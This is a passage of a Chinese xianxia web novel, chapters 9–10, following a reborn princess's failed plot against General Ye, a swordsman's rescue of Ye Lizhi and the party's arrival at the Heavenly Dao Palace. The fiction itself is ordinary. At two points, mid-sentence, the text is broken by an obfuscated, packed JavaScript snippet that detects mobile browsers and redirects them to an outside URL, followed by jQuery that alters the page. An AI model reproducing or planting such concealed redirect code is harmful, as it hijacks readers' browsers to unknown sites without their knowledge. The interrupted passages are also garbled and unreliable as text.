“啊——”慕昭然发泄般地怒吼一声,愤恨地砸了地上一拳,重重喘两口气,从地上爬起来,将周遭的痕迹清除干净,召来狂风涤荡过乱葬岗,匆忙返回驿馆。 驿馆之中已有侍从早起饲喂马匹,准备膳食,慕昭然身上隐匿的发簪还在,她悄无声息地回到房间,才一屁股滑坐到床沿边。 代替她的人偶从床上坐起来,歪头打量她半晌,抬手摸了摸她的脸颊,“主人,你怎么哭了?” 慕昭然看到“她”指尖上的湿痕,困惑地摸了一把脸,摸到满脸的泪痕。 胸腔里,悸动的心跳还没有平复,慕昭然只要闭上眼睛,眼前全都是云霄飏并指御剑从天而降的身影。 他冰蓝色的法衣莹莹发着光,衣袂翻飞,飞扬的发丝不断扫过冷峻的眉眼。 这种感觉太过久违了,她上一世初见云霄飏时,也是这般难以自控地怦然心动,情窦顿开。 可是,现在的她,早已不是前世那个天真懵懂的少女,她经历了那么多的背叛和伤害,再次见到他,明明应该恨不得想杀了他才是。 为什么身体却还会有这样的反应?为什么还是一见他就忘乎所以,抑制不住地为他心动?! 慕昭然狠狠揉一把眼睛,歪头倚进人偶怀里,将扭曲的表情埋进“她”胸口衣襟上,闷声道:“好恶心,这种感觉好恶心……” 天之将明,山林夜雾未散。 慕昭然离开乱葬岗不过片刻,这里弥漫的浓雾中,一道身影幽幽显形。 雾气模糊了来人身形,却也看得出此人身姿挺拔,体态修长,是一名男子。 因地底尸变,掘土而出,地上残留着不少坟坑,腐朽的尸气混合在雾气中,就算被狂风席卷过数遍,风散去后,夜雾重新聚拢,地面逸散的气味还是恶臭难闻。 来人却似毫不在意,脚步没有半分停滞,走入乱葬岗中,所停留之处正是先前慕昭然作符的位置,这里已经被她清理干净,没有遗留下半点痕迹。 他在原地站了片刻,垂着乌黑的睫,视线一寸一寸地逡巡过地面,目光一凝,弯下腰,从乱石当中捡起了一根毫不起眼的枯枝。 枯枝在这阴湿地里吸饱了鬼气,一端裹满腐泥,另一端却干净,曾被人握在手心里。 他握着那一端轻轻摩挲,似乎想从上面摸到一点残留的体温。 不过,终究徒劳。 他最后抖落枝上腐泥,细致地擦拭干净,收入袖中。又取出一只断木傀儡来,将它埋进乱葬岗腐烂的地底深处,转身消失于愈渐稀薄的雾气中。 天亮了。 9. 第 9 章 太阳出来,满地的鬼物都像是草叶上的露水,被蒸发干净,湮灭成土。 云霄飏并指从腐朽的骨灰中掏了一把,捻出一片残留的扭曲符文,他快速结印,打算依照这符文追踪幕后之人,追踪之印未成,符文便已彻底消逝。 追踪无果,云霄飏只得作罢,转身走回树下,问道:“叶将军可好些了么?” 叶离枝忙起身朝他郑重地行了一礼,致谢道:“多谢仙士的丹药,将军服用了药后,身上的尸毒鬼气已经消散了很多,伤口也不再腐坏了。” 云霄飏虚虚一扶,掌中剑气化作一股风力,托起她弯折的膝盖,没有受她的跪拜之礼,温声道:“斩妖除魔,驱邪镇鬼,是我分内之事,姑娘不必行如此大礼。” 他早便留意到叶离枝染血的衣袖,从怀里取出一瓶伤药来,“姑娘也伤得不轻,我这里有些生肌止痛的药粉,姑娘先将就着用用。” 叶离枝先前只顾着照料父亲了,自己肩膀和手掌上的伤早已痛得麻木,此时经他提醒,才后知后觉地又感觉到痛来。 她捧手接过伤药,感激不已,“今夜若无仙士,我们恐怕都会殒命在此,仙士大恩,我现在无以为报,只盼将来能有机会偿还一二。” 云霄飏回头看了一眼林中掘土挖坑,掩埋同伴尸体的兵将,惭愧道:“我还是来得晚了点。” 他外出执行任务,在附近一座城镇中歇脚,半夜被自己的命剑剑鸣惊醒,察觉到此方鬼气冲天,立即御剑赶来,却还是来迟一步。 叶戎带出来的二十多名兵将,有将近一半都折损在了那群鬼物之下,且死状凄惨,浑身都被尸毒腐化,必须得尽快掩埋,免得鬼气扩散。 待掩埋妥当,云霄飏又在他们的坟茔四周划了结界封印,以免有其他生灵误入,沾染尸毒,只等时间消磨尽他们尸身上的鬼气。 做完这些,云霄飏重又查看了一番叶戎身上的伤,说道:“叶将军身上的尸毒虽解,但他伤口之上残留的腐肉还需要尽快剜去,缝合上药,否则伤口感染,依然有性命之危,往东三十里外便是林方镇,那镇子上有医堂。” 亲卫们连连道谢,急忙就地取材,制了一张简易的担床安置好昏沉的叶戎,打算往林方镇去。 天亮之后,鬼魅蛰伏,云霄飏还欲继续追查这群鬼匪的来历,揪出幕后黑手,好斩草除根,便没有随同他们一起前往林方镇,只分出一缕剑气化成一柄巴掌大的蓝色小剑,交予叶离枝,给他们防身用。 没想到动身之时,却听那边忽然起了争执。 叶离枝被一群兵将围在中间,方才云霄飏给她的小剑,她交给了叶戎亲卫。 那亲卫为难道:“要是我私自放你离开,将军醒来,定要责罚我们,请你随我们一起走。” 他嘴上虽然客气,但行事却强硬,绝不可能违背将军之令。 叶离枝戒备地看了眼左右的兵将,“将军受伤,不能回去驿馆为殿下送行,总得有个人赶去向圣女复命。” 亲卫道:“负责护送圣女前往天道宫的人是圣殿灵使,将军奉陛下之命,只是将圣女送出离安都城,我也会另外派人传讯,不需要劳动你跑这一趟。” 他说完,也无意继续耽搁,朝左右命道,“看好她,我们出发,不要耽误了将军的医治。” 叶离枝和这群兵将说不通,在对方发令之时,猛地撞开其中一人,拔腿就跑。 亲卫喝道:“抓住她!” 云霄飏听见喊声,离去的脚步生出迟疑。 那姑娘孤身一个弱女子,身处一群兵将之中,他先前听她情急之时,曾唤叶将军“父亲”,想必是叶将军之女,只是将军身边亲卫看上去却对她并无多少尊重。 思及她身上的伤,肩上的伤是兽爪所挠,手心的伤却是利刃所致,且没有沾染尸毒,不是鬼匪所为,再加之她脖子上明显的掐痕,可见她的处境或许并不乐观。 眼见叶离枝被人擒住手臂,挟同着一起离开,他身形一动,就要上前阻拦。 躺在担床上的叶戎恰在这时醒了过来,他沉沉地闷哼一声,所有人的动作都是一顿,亲卫立即上前,唤道:“将军?” 叶戎勉强撑开眼睛,在亲卫的搀扶下坐起来,尸毒清除后,他的视觉也跟着恢复,抬头看向叶离枝。 他一向是看不上这个女儿的,不仅因叶离枝的母亲是贱籍歌女,还因为她明明人微命贱,却始终不肯驯服于他这个将军的身下,哪怕身体屈从于他,她的眼神也从不曾真正折服。 尤其是叶离枝这一双眼睛,和她母亲很像,叶戎每次看见这双眼睛,就能想起那个女人看他时,那嫌恶鄙夷的神情。 一个贱奴,怎么敢用那种眼神看他。 叶戎沉沉盯着她,问道:“你不是恨我么,为何还要回头救我?” 叶离枝眼眶泛红,咬了咬唇,“不论如何,你都是我的父亲,我只有你一个亲人了。” 这个答案倒也不令人意外,叶戎沉默片刻,她之前的舍命相救终究令他有所动容,遂道:“放开她吧,从今往后,她便是叶府名正言顺的二小姐。” 擒在手臂上的力道松开,叶离枝惊讶地抬眼,有些受宠若惊。 围在身旁的兵将往两边散开,面向她时的态度也与先前有了很大改变,神情变得恭敬,一同下跪叩首,齐声道:“拜见二小姐。” 云霄飏慢慢停下脚步,他见叶戎挥退开身边亲卫,只留了叶离枝在身旁,应当是父女俩有一些私心话要说,便也秉承着非礼勿听之德,往远处退去。 只不过,他依然待在远处观望,没有立即离开。 叶离枝走近叶戎身边,两人说了一会儿话,看双方神情还算平和,随后叶离枝退开两步,跪到地上朝他叩了三个头。 叶戎点点头,勉强维持的清醒也差不多耗尽,疲惫地倒回担床上,很快又陷入意识模糊中。 亲卫们簇拥上前,护送着叶戎往林方镇赶去,叶离枝送走他们,回过头,望见站在远处的云霄飏,唇角绽开一朵笑意,快步朝他跑来。 “父亲托我感谢仙士的救命之恩,这是父亲的随身玉佩,可做信物,以后仙士若有所需,南荣叶氏定当全力以赴。” 云霄飏摆手道:“我说过了,除妖伏魔都是我分内之事,万不敢受此承诺。” 叶离枝见他执意不肯受,只得收好玉佩,恩情并不在于信物,就算没有信物,她也会铭记这份恩情的。 叶离枝看向地上湮灭的骨灰痕迹,又道:“父亲还交代我说,仙士如果要查这群鬼匪来历,可以往平阳伏陀山一带去查看,四年前父亲曾在那里剿灭一窝匪寇,今日这群鬼匪的残兵败容以及使用的兵械,倒是和当年那群匪寇有些相似之处。” 云霄飏正愁没有线索,高兴道:“如此甚好。”他望一眼叶戎离开的方向,问道,“叶姑娘没有随同令尊一起走,是要去别的地方么?” 叶离枝有些不好意思道:“实不相瞒,我也要赶去平阳驿馆,不知能否与仙士同行?” 云霄飏挥手放出命剑,悬浮于空,对她伸出手,爽朗笑道:“既然顺路,送姑娘一程又何妨?” …… 平阳驿馆。 慕昭然抚摸着手腕上一串玉珠,珠子一共十二枚,每隔两颗珠子便有一颗铭刻通讯符文的灵珠。此时,其中一枚珠子的灵光刚刚隐没,瑶姑的话音还在她脑中不断回响。 原来他们并非没有发现叶戎的野心,只是叶大将军在南荣的势力已成,树大根深,父王不仅奈何不了他,还得依仗他抵御南境诸多蠢蠢欲动的世家。如今南境的局势处在一个微妙的平衡上,杀了叶戎并不能改变现在的局面,反而会更加糟糕。 前世,叶戎是从什么时候开始和世家联手的? 是从叶离枝成为天道宫灵尊的亲传弟子么?似乎就是从那个时候开始,那些高傲的世家就彻底放弃了慕氏,转投叶氏,最终和叶戎一起攻入了王宫,逼死了父王和母后。 而她现在迫于系统任务,还不得不把叶离枝送入天都,送到灵尊的眼皮子底下! 慕昭然在床边坐了许久,晨光笼罩大地,才唤人送来热水沐浴更衣,坐到妆台前梳妆时,心里的悸动总算冷却下来。 她对着银镜来回照看这张尤带着几分稚嫩的面庞,抬手捏了捏自己圆润饱满的颊肉,盯着镜中人的眼睛,在心中一遍遍自我安慰道:“没关系的,慕昭然,一切都才刚开始,你以后还会有很多机会去做改变,不急于这一时。” 侍女捧来一匣子花钿,问道:“殿下今日要贴花吗?” 慕昭然吐出心中郁气,转过身来,为自己仔细挑选了一枚火焰状的花钿。 侍女小心地取下花钿,用银匙沾了点水,贴上她的眉心。 慕昭然眼眸半阖,感觉到那一丝凉意落在眉心,睫羽轻轻一颤,不觉有些出神。 侍女贴好花钿,往后退开半步,“殿下看看,这样行么?”见圣女怔怔坐着,半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164985|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天未有回应,侍女凑近了一些,再次唤道,“殿下?” 慕昭然这才回过神来,转头对着银镜若有所思地摸了摸眉心的花钿。 先前意识附身在鬼匪身上,被云霄飏剑指眉心的一瞬间,好像先有一缕力量抚过她的眉心,在她意识之中刺了一下,她才能及时从鬼匪身上脱离,没有被一起斩杀在云霄飏的剑下。 可当时的感觉似梦似幻,极不真切。 重生后第一次见到云霄飏,她的心依然与前世一般,不受控制地急跳个不停,意识也处于飘飘然的状态,感官未必做得了准。 慕昭然这般想着,将这事抛诸脑后,下到驿馆大堂。 驿官已安排了早膳,众人都等着圣女入席。 叶凌烟心事重重,昨夜几乎不怎么睡着,一大早便守在门边巴巴望着外面,生怕父亲真的将叶离枝带回来了。 眼下距离出发的时辰越来越近,她悬着的心反而渐渐落回肚子里。 见到慕昭然从楼上下来,叶凌烟立即殷勤地迎上来,努力想要抹去昨日的不愉快,摆出平日的模样,试图去挽她的手臂,笑道:“殿下,我见你昨夜没什么胃口,今早特意让人去采了晨露,加上些酸梅雪梨,炖了一盅开胃的甜汤。” 慕昭然昨夜杀叶戎不成,心中苦闷可想而知,恨屋及乌,转眸看向叶凌烟的眼神亦带着一点遮掩不住的杀意。 叶凌烟被她的眼神吓住,战兢兢地收回了挽向她的手。 慕昭然绕过她,坐到座上,明知故问道:“叶将军还没把人寻回来?” 叶凌烟看一眼侍从端在手里准备送上来的甜汤,指甲掐进掌心里,勉强维持住了讨好的笑脸。 走过去回答道:“阿爹亲自带人去寻她,寻了一夜都还未归,定是那个贱婢故意躲起来了,她在家时就惯常会偷奸耍滑,经常叫人好找,现在出了将军府,要是故意想躲,那更是泥牛入海,不好找了。” 霜序问道:“殿下,要再派几名灵使前去寻一寻吗?” 修士有灵力在身,寻人的法子更多,自然比叶将军带着兵将四处搜寻要容易得多,昨夜霜序便想进言了,但圣女没有主动提,她犹豫片刻便也没有开口。 只是眼下出发的时辰越来越近,行程耽误不得,殿下看上去又对那位叶姑娘十分上心,她才想要主动领命。 慕昭然沉默着,没有立即回答,她昨夜虽没能杀死叶戎,却也将他伤得不轻,他定然是无法回来向她复命的。 至于叶离枝,很可能正守在她那父亲身边尽孝呢,或许还跟云霄飏在一起。 她对叶离枝恨得牙痒,但该死的系统任务又叫她不能就这么一走了之,若派出圣殿灵使,她又有点担心会像前世一样出什么意外,导致派出去的人最后回不来。 叶凌烟见慕昭然犹豫不决,好似真有意动,急忙劝道:“等阿爹找到人传讯给我,是要将她押来殿下面前请罪,还是该如何处罚,都凭殿下做主。但眼下时辰也不早了,殿下何必为了她耽误正事?要是我们去得迟了,怠慢了天道宫的仙尊,仙尊因此而降罪南荣可怎么办?” 叶凌烟虽有私心,可这话说得也不无道理,经历过前世一遭,慕昭然早已深切体会到天道宫的无上权威,不似从前那般不知天高地厚了。 她思忖片刻,做下决定道:“所有人做好准备,按时出发。我身边只留一人就行,霜序,你带着其余灵使亲自去寻叶离枝,务必要将她完好无损地给我带回来。” 霜序不赞同道:“殿下,您的安危比什么都重要,身边怎能只留一人?” 慕昭然内心当然不愿,却只能言不由衷道:“我那车辇是圣殿长老们亲手打造的,称得上是一件上等法器,能遇上什么危险?快去吧,一定要保护好她,也要保护好你们自己。” 霜序无法,只得听命应是,转身踏出门去,准备带人去寻。 刚出得门来,就望见一人呆怔地站在庭院中,不是叶离枝又是何人? 霜序心中一惊,这么大一个活人,都走到庭院中了,自己竟然毫无察觉,这属实不应该,她警觉地打量叶离枝一圈,走上前去,唤道:“叶姑娘,你回来了?” 叶离枝还没有从方才无意间听到的话语中回神,她自出生以来饱受冷眼,母亲逝世得早,她身边只余一名奶娘嬷嬷,除此之外未曾从他人身上得到过半分温情。 没想到,今日竟会从那位与她毫不相干的圣女口中,听到“保护好她”这四个字。 10. 第 10 章 走得近了,霜序却又没能从她身上发现什么可以遮掩气机的法器,这位叶姑娘大多数时候都像是一抹不起眼的影子,如非刻意去寻,常常会让人忽略她的存在,只有目光落在她身上了,才会忽然灵光一现,原来她也在这里。 霜序心中有些奇怪,却并未多想,视线扫过她身上血衣,担忧道:“叶姑娘伤得不轻,先进屋去再说。” 叶离枝回过神来,点了点头,跟在霜序身后走进屋内,俯身朝慕昭然行礼,“殿下。” 慕昭然安然地坐在座椅上,倒是一旁的叶凌烟跑到门边往外张望一眼,没看见叶戎的身影,转身问道:“你怎么一个人来的,阿爹呢?” 叶离枝回答了她的问题,不过却是朝向慕昭然解释的,说道:“父亲昨夜找到我时,我们遇上了一些诡异之事,被一群阴魂鬼煞袭击,父亲受了重伤必须立即就医,无法回来向殿下复命,父亲托我向殿下请罪,望殿下宽恕。” 叶凌烟险些被她一口一个“父亲”气得仰倒,伸手推搡了她一把,没好气道:“大庭广众之下,你乱喊什么?谁是你父亲?你也配?当心我叫人撕烂你的嘴!” 虽然叶离枝的身份并不是什么秘密,可只要叶戎一天不对外承认她的身份,她便要做一天见不得光的私生子。 “父亲”这个称呼,她永远也不配喊出口。 叶离枝被她推得踉跄一下,宛如被风拂过的柳枝,幸得霜序伸手搀扶一把,才堪堪重新站稳,低垂下头,不再说话。 叶凌烟抬手还想去推她,后知后觉地反应过来现在不是计较称呼的时候,着急问道:“阿爹到底怎么样了?” 叶离枝也害怕激怒她,又改回了称呼,回道:“不用担心,昨夜有位仙士路过救了我们,将军吃了他给的丹药,已脱离生命危险,被亲卫护送去了就近的城镇治疗。” 慕昭然听得险些捏碎手里的杯子,暗暗冷笑一声。 叶凌烟松了口气,指责道:“荒山野岭少不得妖魔鬼怪徘徊,还不都怪你,乱跑什么,害得阿爹被你连累!” 她完全把自己的责任推卸了干净,眼神不善地盯着叶离枝,不过到底顾忌着慕昭然,没有当众发难。 她们俩这般不对付的样子,也不知道是不是专门演给她看的,慕昭然只要想起她们日后冰释前嫌,姐妹情深的情景,便无比作呕。 她将杯子放回桌上,垂手缩进袖口内,克制着心底情绪,问道:“这么说来,也是你口中那位仙士送你回来的?” 叶离枝点头,“仙士想要查清那群鬼煞的来历,正好要往这个方向来查探,便顺路将我送了过来。”临走之前,见她身上伤势,还又给了她一柄小剑,让她有能力保护自己。 叶离枝小心地揣着怀里的剑,再看一看主座上的瑶光圣女,感觉自己晦暗的人生,似乎终于照见了曙光。 慕昭然全然没注意到叶离枝的反应,她正暗暗回想自己昨夜有没有将痕迹清理干净。 鬼匪受秽符所召,从地下掘土而出,奔袭千里去刺杀叶戎,必然会留下痕迹。凭云霄飏之能,查到乱葬岗来只是早晚,只要确保此事攀扯不上她就行。 那一处乱葬岗距离驿站有百十里路,昨夜她心慌意乱,却还是打起精神清除了自己留下的所有痕迹。 为防云霄飏凭借回溯法咒重现昨夜情景,离开之时她甚至将乱葬岗内的气场都全部打乱搅浑,想来应当查不到什么线索。 慕昭然一边思索,一边故作好奇地往外张望,“怎么不见人?” 叶离枝一五一十地答道:“仙士听闻殿下在此休憩,未免惊扰殿下,他将我送到驿站外便走了,想是去追查鬼煞了。” 既然该来的人已经来了,慕昭然也不想在此多做停留,起身道:“时辰到了,那出发吧。” 走过叶离枝和叶凌烟二人面前时,她眉尖微蹙,流露出十足的厌烦和不耐,说道:“这样的事,我可没那么好的心情,再陪你们玩第二次。” 叶凌烟听出她话语里的警告,愤愤不平地瞪了叶离枝一眼,笑着讨好道:“殿下放心,我会看好她的。” 厅堂众人都随着慕昭然鱼贯而出,叶离枝抬步想要跟上,手腕被人一把拽住,狠狠地拖拽到末尾。叶凌烟咬牙切齿的质问刺入耳中,“你到底想做什么?” 叶离枝回头看到她嫌恶的表情,平静地从怀里取出叶戎的玉佩,解释道:“父亲已经同意我前往天道宫了。” 叶凌烟垂眸看到玉佩,一把抢进手里,确认这真是父亲之物后,难以置信道:“怎么可能?” 天道宫乃是世间正道之首,贮藏天下所有功法,名师圣贤云集,天下有志之人无不想要入天道宫中修习,一攀升仙之路。 想入天道宫修习需持一枚燕金令,而天道宫每隔十年才会向外发放二十四枚燕金令,圣女殿下不想去的天道宫,孰不知有多少人为了能进入那里而争破了头。 即便是叶戎,数年来,费尽心机百般周旋想要寻得一枚燕金令,也是没能如愿。 但叶凌烟却在无意间从府上这个卑贱的私生子身上发现了燕金令,她起初是不敢相信的,请来父亲做主,才确认了这一枚令牌的真假,逼迫叶离枝交出燕金令。 父亲向来是看不上这个孽种的,连正式承认她的身份都不肯,更遑论让她代表叶氏进入天道宫,事实也确如她所想,父亲将那枚燕金令给了她。 事到如今,父亲又怎么会突然改口,同意叶离枝前往天道宫?叶氏手中的燕金令只有这么一枚,只能有一人进入天道宫。 叶离枝不用看都能猜出叶凌烟此时心中的想法,低声示弱道:“姐姐放心好了,我在父亲面前立过誓言,不会与你相争,能代表叶氏进入天道宫的,只有你这个嫡女。” 外面车马整顿,即刻便要动身,叶凌烟无暇与她多说,也并不信她的话,只冷哼一声道:“不准叫我姐姐!你知道就好,把你的嘴巴闭紧了,要是妨碍了我进天道宫,爹爹也不会放过你。” 叶离枝垂下眼,“是。” 一行车马从驿站启程,继续往中州而行,慕昭然实在不乐意与叶离枝同乘,将她丢去了随行的侍从马车上,又派了圣殿医修榴月去给她处理伤口,免得系统又把她身体不好的原因,怪罪在她身上。 好在后半程的路途都很顺遂,叶凌烟也老老实实的,没再搞什么小动作。 五日后,一行人跨越南境,到了中州。 中州居于世界之心,东南西北四境环绕,天都城之繁荣昌盛,与南荣相比,有过之无不及,只这一座天都城,便有一国之气象。 天都城地处平原,入了天都地界后,方圆万里皆是一片平川,唯有天都城中心有一座通天山岳,拔地而起,直插云霄,那山巅之上才是天道宫的所在。 跨入中州后,慕昭然早早就能从车驾上遥遥地望见一点云端山影,车队法阵全开,朝着山影疾行了三天,才到达山下的天都城。 接引使者已在城门等候,迎接南荣车队入城。 这一座城墙高大宽厚,巍峨无比,门洞也极长,车辇驶入城门,窗外的光线暗淡下去,过了数十息,窗外的光又才重新亮起,热闹的喧嚣也随着光源一同透窗而入,涌入慕昭然耳中。 她推开左右滑动的移窗,透过轻薄的白纱往外看。 这一条道是城中主道,青石铺成,宽阔平整,能容四架豪华马车并行,街道两旁高楼林立,鳞次栉比,不少人聚在街边观望他们这一行入城的队伍。 “是南荣的旗帜,那车上之人定是南荣公主了?” “听说那位公主生得花容月貌,倾国倾城,被誉为南境瑰宝,不知能不能有幸一睹其真容。” “什么南境瑰宝,能和我们天都的贵女们相比吗?” “这车也太奢华了点,你看那车辇上镶嵌的宝石,比鹅蛋都大,马面上的当卢是纯金做的吧?眼睛都要给我闪瞎了,南荣还真是有钱啊。” “有钱又如何,一群乡野暴发户,还不是要向我们天都朝贡,你数数南荣车队后面拉了多少箱,比三仙岛多还是少?” 路旁飘来的窸窣碎语中,倒当真有人数了起来。 前世,初来天都,慕昭然对这一座神圣之都无边好奇,一直坐在垂帘之后好奇地打望这一座与南荣风格迥异的城池,听到街边粗俗的议论,她气闷不过,示意霜序为她出气。 霜序将手缩在袖口内,一路上掐诀的手指就没有松开过,从空气中抽来水流,沿街冲刷了几百个嘴巴子,冲得他们满口血水,再不敢随意妄言。 修士的耳力敏锐,霜序自然也将那些粗俗之语听入耳中,不忿道:“殿下不必听那些闲言碎语,免得污了耳朵,我替殿下教训一下他们。” “不用了,市井之言罢了。”慕昭然慢条斯理道,如今重临故地,再见旧日街景,她心中只余乏味,对街边飘来的议论也无丝毫波澜。 更何况,前世被逐出天道宫时,再难听的话,她也是听过的。 慕昭然抬手阖上窗,将那些市井杂音阻隔在外。 穿过一道内城门,街道变窄了一些,但内城的楼阁却越发典雅精致,街边也没了窸窣碎语,方才街边议论之人,一辈子都跨不过这一座内城门。 车马穿过天都外城行了半日,入内城后又一路往前行驶半日,总算到了天都城的核心位置——那一座通天山岳的山底门楼前。 门楼高逾百仞,汉白玉所铸,顶上瓦片呈琉璃色,在阳光下熠熠生辉。门楼外是一片宽阔的青石广场,两侧已停了许多车驾,皆是从四境前来之人。 门楼之后,山高林密,云雾缭绕,只有当山门开启时,才能让人有幸觑见几分山内悬于云雾中的琼楼玉宇,飞阁流丹。 一条长阶从山门后蜿蜒而上,直通山顶,天道宫便位于这缥缈云烟之巅,分明处于最繁华的闹市之中,却有山高水净之幽深,遗世独立之超然,既身处红尘之中,又高居红尘之上。 即便是衔着金汤匙出生,见惯了世间繁华的一国公主,曾经初见山门后的悬山宫阙时,亦瞪圆了眼睛,全然忘记了离家的委屈,露出了难以掩饰的惊艳和向往。 现在,她又回到了这里。 慕昭然仰头望了一眼门楼匾额上龙飞凤舞的“天道宫”三个字,余光瞥见山门右侧高耸的石碑,从车辇上下来,往那石碑走去。 霜序不明所以地跟在她身后,提醒道:“殿下,那是天道罪碑。” “我知道。”慕昭然应道,她当然知道那是罪碑,前一世她的名字便曾被刻在这罪碑之上。 她罪大恶极的失道之名便是从这一墩罪碑之上,传出内城,传出天都,传遍整个天下,让她从此不为天下所容。 眼前的石碑上刻录着不少失道者的名字,慕昭然仔细地盯着碑面,从右上开始,一个名字一个名字地往下扫去。 她前世从未对别的人上过心,便也不知他是什么时候被天道宫“定罪”的。 圣女下了车驾,南荣其他人自然不能继续在车上坐着,都跟着下了车,叶凌烟站在将军府的车驾前,暗自嘀咕道:“一个罪碑有什么好看的。” 那罪碑之上随便一个名字都犹如过街老鼠,人人喊打,叫人看一眼都觉晦气,旁的人都恨不得绕过罪碑而行,有多远离多远,怎会有人专门凑上去细看的? 不知道的,还以为她认识那碑上的什么人,像是在寻找故人一般。 停驻在罪碑前的车驾很有些引人注目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164986|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶凌烟感觉到四面八方朝她们投来的目光,焦躁地踢了踢地面,恨不能扯着将军府的车驾,和那位圣女殿下划清界限,莫要连累了叶氏。 叶凌烟若有所思地盯着慕昭然,她这几日的转变实在有些大,种种举止都让人觉得意外,就像变了一个人似的,对叶离枝也突然变得偏重起来,反而故意疏远了她,也不知道是中了那个贱婢的什么迷魂药。 在途中时,她便收到叶戎的回信,父亲竟然改口认下了叶离枝,就算他保证叶离枝不会与自己争夺进入天道宫的名额,叶凌烟心中也很不畅快,她不信叶离枝会那么安分,她如果当真不想进天道宫,为何要这般死乞白赖地跟过来? 父亲和好友突然的态度转变,让叶凌烟很是不安,她转眸找到了那个站在车辇阴影中的人,眼神像刀子一般往她身上刮过去。 叶离枝低着头,习惯性地避开她的目光,不想与她发生什么正面冲突。 她越是这般,叶凌烟便越是看不惯,抬步就要朝她走过去——她不敢置喙慕昭然什么,但是对叶离枝却没什么顾忌,她不是叶家的二小姐么?她这个大姐姐当然有资格好好教训她。 就在这时,忽然一声嘭然爆裂之声自高空鸣响,叶凌烟被吓得躲回车驾旁,所有人都被那爆裂声响吸引,仰头往上看去。 只见晴朗的天空上,忽然炸开一道炽烈的雷光,那雷光噼啪作响,迅速往四面扩散,惊得下方众人仓促散开,一边抱怨,一边被迫为这龙蛇游走的雷光让路,往边上躲去。 雷电撕扯得空间扭曲,凭空破开一个裂隙来。 一道白衣身影从裂隙中一步迈出,踩着飞窜游走的雷光,周身电弧闪烁,衣袍猎猎,缓步向下,落至山门前的台阶上。 雷光随即散去无痕,他飞扬的发丝垂落下来,发冠中两条金色发带压在乌发之上,灼灼惹眼。 天道宫金带弟子屈指可数,个个都是大名鼎鼎,其中又有御雷之力的,只有一人,来人身份已昭然若揭。 “是剑尊座下大弟子,行天剑君,游辜雪。” 有人道出他的身份,在场中人无不肃然起敬,心生畏惧,哪里还敢抱怨这雷光霸道,复又聚集到门楼前,整衣理冠,朝行天剑君拱手行礼。 游辜雪眉间如含冰雪,冷漠地受过众人之礼,并无半分回敬的打算,视线轻飘飘地扫过众人,最后停在那一方罪碑之前。 罪碑前只有两道身影,霜序浑身一凛,隔空朝游辜雪抱拳行礼,低声唤道:“殿下,殿下……” 慕昭然专心致志地瞧着罪碑上的名录,这名录又臭又长,也不知积累了多少年的罪恶,名姓一旦刻录其上,便臭名永驻,万古不磨。 要么身死魂消,彻底灰飞烟灭,否则即便有一丝残魂,都会被擒住,锁在这罪碑之内,永不见天日。 她正找得眼花缭乱,听到霜序的喊声,不耐烦地回过头来,视线正好和那台阶上的人撞上。 慕昭然心头一跳,被那森冷目光刺得从后脊里窜出一阵毛骨悚然的寒意,浑身的汗毛都倒立起来,头皮发麻,脖颈上起了一片鸡皮疙瘩。 对方很快垂了眼,浓密的睫毛遮掩住眼中神光,抬步朝她走来。 慕昭然下意识往后退,直到后背靠上霜序。 霜序察觉到了她紧绷的身躯,从后扶住她的腰,低声道:“殿下,我在。” 霜序的话音让慕昭然稍微安心,她借着袖摆的遮掩,往后握住了霜序腰间的配剑。 那人步步逼近,很快到她身前,就在慕昭然快要忍不住拔剑之时,对方却与她错身而过,站定在了后方的罪碑前。 罪碑,他是冲着罪碑来的?并不是针对她? 慕昭然提到嗓子眼里的心缓缓落回去,暗松一口气,转身看去。 那人面向罪碑而站,抬手张开五指,掌心浮出一滴鲜血,指尖轻点,将那鲜血弹入了罪碑之中。 碑上一个名字在那鲜血的浸润下,猛然冲出一道血腥的红光,红光之中显出一副混乱的画面,雷鸣电闪之下,一张狰狞似恶鬼般的脸庞忽然从那红光中暴冲出来,发出凄厉到刺耳的咆哮。 “游辜雪,你这个天道宫的走狗!我诅咒你不得好死——” 游辜雪轻轻笑了声,并起二指,利落地写出一个“封”字,朝碑壁打去。 “封”字化作游走的雷光,缠绕在那狰狞恶鬼身上,将他浑身击打得皮开肉绽。 慕昭然惊恐地睁大眼睛,看着电光游窜过后,在罪徒身上留下的狰狞伤口,脑海里闪过阎罗胸膛上那一片如枝蔓一样密集的伤疤。不止是胸膛上,他的后背,四肢,脸面,都遍布着这样的伤疤。 他身上的那些,曾被她嫌弃的丑陋伤疤,原来是雷电所致。 是游辜雪伤的他! 游辜雪察觉到后侧移往自己的身上的目光,他略略偏头,垂睫往那目光来处瞟去一眼。 碑上雷电凝结成锁链,将罪徒一寸寸压回罪碑内,血光收敛,景象消散,那怨恨的诅咒亦随之噤音,只留下罪碑上一个被雷锁禁锢的名字。 此代表着,罪徒伏诛。 整个山门前噤若寒蝉,众人连呼吸都不敢喘大声了。 游辜雪做完一切,从容地收回手,转身面向慕昭然,低头看一眼她腰间佩玉上精雕细琢的“瑶光”二字,复又抬眸盯住她的眼睛,开口道:“南荣圣女?这碑上之人大多毙于我的剑下,你在找谁,报来名姓,我或能为你效劳。” 慕昭然近距离目睹那一副血腥残景,耳中嗡嗡作响,还回荡着那一声怨毒的诅咒。 